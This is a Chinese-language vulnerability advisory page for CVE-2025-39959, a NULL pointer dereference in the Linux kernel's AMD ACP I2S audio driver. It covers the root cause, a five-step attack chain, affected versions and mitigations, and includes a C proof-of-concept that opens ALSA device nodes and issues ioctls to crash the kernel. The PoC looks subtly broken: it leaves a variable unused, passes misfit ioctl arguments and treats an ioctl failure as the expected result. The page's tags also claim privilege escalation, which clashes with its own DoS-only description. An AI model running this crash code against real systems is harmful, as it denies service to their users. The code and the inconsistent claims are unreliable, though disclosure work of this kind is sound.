IPBUF安全漏洞报告
English
CVE-2025-39959 CVSS 5.5 中危

CVE-2025-39959 Linux内核ASoC AMD ACP驱动空指针解引用漏洞

披露日期: 2025-10-09
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-39959
漏洞类型
空指针解引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核ASoC AMD ACP音频驱动

相关标签

Linux内核空指针解引用ASoCAMD ACP音频驱动本地提权拒绝服务内核漏洞CVE-2025-39959NULL Pointer Dereference

漏洞概述

CVE-2025-39959是Linux内核ASoC(ALSA System on Chip)子系统AMD ACP(Audio Co-Processor)I2S音频驱动中的一个空指针解引用漏洞。该漏洞位于acp_i2s驱动中,由于错误地使用dev_get_platdata(dev)函数获取acp_chip_info结构体数据,导致部分成员变量无法正确更新。当驱动尝试访问这些未初始化的成员时,可能触发空指针解引用,引发内核崩溃或系统不可用。

该漏洞的CVSS评分为5.5,属于中危级别。攻击者需要本地低权限访问权限即可触发此漏洞,无需用户交互。虽然该漏洞不会直接导致信息泄露或数据篡改,但其高可用性影响(Availability: High)意味着攻击者可利用此漏洞使系统崩溃或拒绝服务。该问题源于此前修复commit(Fix NULL pointer deref in acp_i2s_set_tdm_slot)仅修复了set_tdm_slot()函数中的同类问题,而未全面排查所有相关函数,导致类似缺陷仍然存在于其他代码路径中。

此漏洞影响使用AMD ACP音频处理器的Linux系统,常见于搭载AMD处理器的笔记本电脑、台式机及服务器设备中。修复方案已通过内核补丁合入,使用dev_get_drvdata(dev->parent)正确获取父设备的驱动数据。

技术细节

该漏洞的技术根源在于Linux内核ASoC框架中设备数据获取API的误用。在Linux设备模型中,platform_device通过两种机制存储私有数据:platform_data(静态分配,在设备注册时指定)和driver_data(动态分配,通过dev_set_drvdata设置)。

在acp_i2s驱动中,acp_chip_info结构体是通过dev_set_drvdata()绑定到父设备上的,但原代码错误地使用了dev_get_platdata(dev)来获取该数据。由于dev->platform_data字段未被设置(为NULL),导致获取到的acp_chip_info指针为NULL。当后续代码尝试通过该空指针访问成员变量(如chip_info->i2s_count、chip_info->tdm_fmt等)时,内核将触发空指针解引用异常。

利用方式方面,攻击者需要本地访问权限,触发条件为加载或使用AMD ACP音频驱动的I2S功能。具体触发路径包括:1)播放或录制音频时驱动初始化路径;2)通过ALSA控制接口配置音频参数;3)系统启动时自动加载音频驱动模块。攻击者可编写简单的C程序打开音频设备并执行特定ioctl调用即可触发崩溃。

修复方案为将所有相关函数中的dev_get_platdata(dev)替换为dev_get_drvdata(dev->parent),确保从正确的父设备获取驱动数据。该修复涉及acp_i2s驱动中的多个函数,确保全面解决空指针解引用问题。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要获取目标系统的本地低权限访问权限(普通用户账户),可通过物理访问、SSH登录或其他已建立的本地权限获取途径实现。
STEP 2
步骤2:确认目标系统配置
攻击者检查目标系统是否搭载AMD ACP音频处理器(可通过lspci命令查看AMD Audio Co-Processor设备),确认ASoC AMD ACP驱动已加载。
STEP 3
步骤3:访问音频设备
攻击者打开AMD ACP音频设备节点(如/dev/snd/pcmC0D0p或controlC0),这些设备通常对普通用户可访问。
STEP 4
步骤4:触发I2S操作
通过ioctl调用触发acp_i2s驱动中的相关函数(如hw_params、set_tdm_slot等),这些函数尝试通过错误的dev_get_platdata(dev)获取acp_chip_info。
STEP 5
步骤5:触发空指针解引用
由于获取到的是NULL指针,访问acp_chip_info成员时触发内核空指针解引用异常(kernel oops),导致系统崩溃或音频子系统不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2025-39959 PoC - Trigger NULL pointer dereference in ASoC AMD ACP I2S driver * This PoC demonstrates how to trigger the vulnerability by accessing the AMD ACP * audio device and triggering I2S operations that access acp_chip_info incorrectly. * * Note: Requires local access on a system with AMD ACP audio hardware. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <sound/asound.h> int main(int argc, char *argv[]) { int fd; int ret; /* Open the AMD ACP I2S playback device */ fd = open("/dev/snd/pcmC0D0p", O_WRONLY); if (fd < 0) { perror("Failed to open PCM playback device"); /* Try other card/device combinations */ fd = open("/dev/snd/controlC0", O_RDWR); if (fd < 0) { fprintf(stderr, "No AMD ACP audio device found\n"); return 1; } } printf("Opened AMD ACP audio device, triggering I2S operations...\n"); /* Trigger TDM slot configuration which accesses acp_chip_info */ /* This path was partially fixed but other functions still have the bug */ struct snd_ctl_tlv *tlv; unsigned char buf[256]; /* Attempt to access audio controls that trigger acp_chip_info access */ ret = ioctl(fd, SNDRV_CTL_IOCTL_TLV_READ, buf); if (ret < 0) { perror("ioctl failed (expected on vulnerable kernel)"); } /* Try to set audio parameters that trigger the vulnerable code path */ struct snd_pcm_hw_params *params; params = calloc(1, sizeof(struct snd_pcm_hw_params)); if (params) { /* Setting HW params triggers acp_i2s_hw_params which accesses chip_info */ ret = ioctl(fd, SNDRV_PCM_IOCTL_HW_PARAMS, params); free(params); } close(fd); printf("Operation completed. Check dmesg for kernel oops if vulnerable.\n"); return 0; }

影响范围

Linux kernel < 6.17 (受影响版本,具体取决于发行版)
包含ASoC AMD ACP驱动的所有Linux内核版本(修复前)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可采取以下临时缓解措施:1)通过将snd_acp_i2s、snd-acp-config、snd_pci_acp3x等相关驱动模块加入黑名单(/etc/modprobe.d/blacklist.conf)来禁用AMD ACP音频驱动;2)使用chmod命令限制音频设备节点的访问权限,仅允许特定用户组访问;3)监控系统日志(dmesg)关注相关内核oops信息,及时发现利用尝试;4)使用Linux Security Module(如SELinux、AppArmor)限制对音频设备的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表